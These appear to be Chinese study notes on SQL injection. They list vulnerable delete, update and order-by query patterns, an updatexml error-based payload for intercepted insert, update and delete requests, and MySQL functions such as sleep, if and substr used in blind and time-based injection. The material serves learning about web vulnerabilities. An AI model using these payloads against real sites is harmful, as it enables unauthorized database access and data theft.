WEB漏洞—SQL注入之查询方式及报错盲注

参考笔记：https://www.fujieace.com/penetration-test/access-offset-injection.html

 

3.delete删除数据
 后台管理里面删除文章删除用户等操作
 例: delete from news where id=$id

4.update更新数据
 会员或后台中心数据同步或缓存等操作
 例: update user set pwd='$p' where id=2 and username=' admin'

5.order by排序数据
一般结合表名或列名进行数据排序操作
例: select * from news order by $id
例: select id , name , price from news order by $order

 

1.insert语句

通过浏览器抓包，修改数据

'or updatexml(1,concat(0x7e,version(),0x7e),0) or'

这里的version()也可以修改成database（）等，将注意语句放在语句的其他位置是可以的，注意看网站提交的数据

 

2.update语句

'or updatexml(1,concat(0x7e,version(),0x7e),0) or'

与insert一样的操作，原理一致

3.delete语句

'or updatexml(1,concat(0x7e,version(),0x7e),0) or'

 一样的操作，但是要对添加的语句进行url编码（ctrl+u）

 

参考：

like 'ro%'

#判断 ro 或 ro...是否成立

regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等

if(条件,5,0)

#条件成立 返回 5 反之 返回 0

sleep(5)

#SQL 语句延时执行 5 秒

mid(a,b,c)

#从位置 b 开始，截取 a 字符串的 c 位

substr(a,b,c)

#从 b 位置开始，截取字符串 a 的 c 长度

left(database(),1)，database() #left(a,b)从左侧截取 a 的前 b 位

length(database())=8 #判断数据库 database()名的长度

ord=ascii ascii(x)=97 #判断 x 的 ascii 码是否等于 97

 

基于时间的 SQL 盲注-延时判断

if,sleep

 

 1.sleep()

例：sleep(5)   #SQL 语句延时执行 5 秒

2.if

 例：if(条件,2,0)          #条件成立 返回 2 反之 返回 0